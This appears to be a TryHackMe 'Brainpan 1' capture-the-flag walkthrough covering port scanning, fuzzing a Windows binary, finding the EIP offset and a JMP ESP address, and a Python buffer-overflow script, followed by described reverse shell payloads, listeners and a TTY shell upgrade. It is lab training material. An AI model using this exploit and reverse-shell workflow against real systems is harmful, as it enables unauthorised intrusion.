TryHackMe | Brainpan 1

Reverse engineer a Windows executable, find a buffer overflow and exploit it on a Linux machine.

tryhackme.com

Walkthrough

Gaining a Foothold

Nmap

Initial scan

──(kali㉿kali)-[~]
└─$ nmap 10.10.220.161           
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-14 03:50 EST
Nmap scan report for 10.10.220.161
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT      STATE SERVICE
9999/tcp  open  abyss
10000/tcp open  snet-sensor-mgmt

Nmap done: 1 IP address (1 host up) scanned in 40.54 seconds

Scan on port 9999 and 10000

Web Page

10.10.220.161:10000

source code

/bin

Directory busting

FFUF

/bin

Buffer Overflow

Avoid fuzzing at this point as we can break the executable

nc 10.10.20.71 9999

On a Windows VM

Download and run Immunity Debugger as admin

Download and run brainpan.exe as admin

Attach brainpan to Immunity Debugger

Hit play to run

Download and move mona.py to PyCommands

https://github.com/corelan/mona

onfig -set workingfolder c:\mona\%p

Mona Configuration

The mona script has been preinstalled, however to make it easier to work with, you should configure a working folder using the following command, which you can run in the command input box at the bottom of the Immunity Debugger window:

!mona config -set workingfolder c:\mona\%p

Fuzzing

Run the fuzzer.py script using python: python3 fuzzer.pyThe fuzzer will send increasingly long strings comprised of As. If the fuzzer crashes the server with one of the strings, the fuzzer should exit with an error message. Make a note of the largest number of bytes that were sent.

┌──(kali㉿kali)-[~/LPE/brainpan]
└─$ python3 fuzzer.py    
[+] Sending the payload...
100
[+] Sending the payload...
200
[+] Sending the payload...
300
[+] Sending the payload...
400
[+] Sending the payload...
500
[+] Sending the payload...
600
[+] Sending the payload...
700
[+] Sending the payload...
800
[+] Sending the payload...
900
^CThe fuzzing crashed at 1000 bytes

Crash Replication & Controlling EIP

Run the following command to generate a cyclic pattern of a length 400 bytes longer that the string that crashed the server (change the -l value to this):

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600

Copy the output and place it into the payload variable of the exploit.py script.

We will make a pattern exactly at the point where it crashed

┌──(kali㉿kali)-[~/LPE/brainpan] └─$ msf-pattern_create -l 1000 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

exploit.py

┌──(kali㉿kali)-[~/LPE/brainpan]
└─$ python3 exploit.py     
Sending payload...

Immunity crashed

EIP 35724134

┌──(kali㉿kali)-[~/LPE/brainpan]
└─$ msf-pattern_offset -l 1000 -q 35724134
[*] Exact match at offset 524

That means that the EIP is at the 525th byte

Edit exploit.py

┌──(kali㉿kali)-[~/LPE/brainpan]
└─$ python3 exploit.py   
Sending payload...

Finding Bad Characters

badchars

cytopia ⋅ 9 months ago

Copy badchars to exploit.py

Run Immunity again

Crashed > good

Right-click ESP > Follow in dump

After running the script, go back to Immunity, right-click on the hex value of the ESP register and select “Follow in Dump.” The list of characters that we sent from 01 to FF are in the hex dump pane. Closely examine the entire list to see if any of the hex numbers are out of sequence, which would indicate a bad character. In this case we do not have any bad chars.

Don’t rely on mona tool for finding badchar

Run Immunity again

Install Mona and check modules

!mona modules
All False is what we want

Find JMP point

!mona find -s "\xff\xe4" -m brainpan.exe

Found 311712f3

Click the black arrow key to find 311712f3

We found the JMP point

Press F2 to set a breaking point

Once we hit JMP instruction, we can get malicious

311712F3 in Little Indian format

Edit exploit.py

import sys, socket

buffer = b"A" * 524 + b"\xf3\x12\x17\x31"

print("Sending payload...")
payload = buffer + b'\r\n'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.137.143',9999))
s.send(payload)
s.close()

*Heath (Course Instructor) had issues with payload encoding so here we are manually encoding our payload

Run Immunity and exploit.py

We reach breakpoint

Close Immunity

Run brainpan as admin

On kali, generate payload for a reverse shell

Edit exploit.py

Add NOPs (No Operations) for a padding

Set up a listener

Run exploit.py

We get a reverse shell

We will apply this to our attack

Do the same but with tun0 IP

Generate reverse shell payload

Edit exploit.py

Change target address to THM brainpan IP

Set up a listener for catching reverse shell on port 7777

We gained a shell but it is a hybrid environment where we couldn’t get a full access to linux

Terminate and Restart machine

Generate a Linux payload

Edit exploit.py

Set up a listener on port 5555

Spawn TTY shell

Escalating Privileges

After spawning a TTY Shell

We can write commands

shell escape sequences

vim

Upgrading the shell

AFter TTY shell
ctrl z

stty raw -echo
fg
fg

It should go back to the shell

Video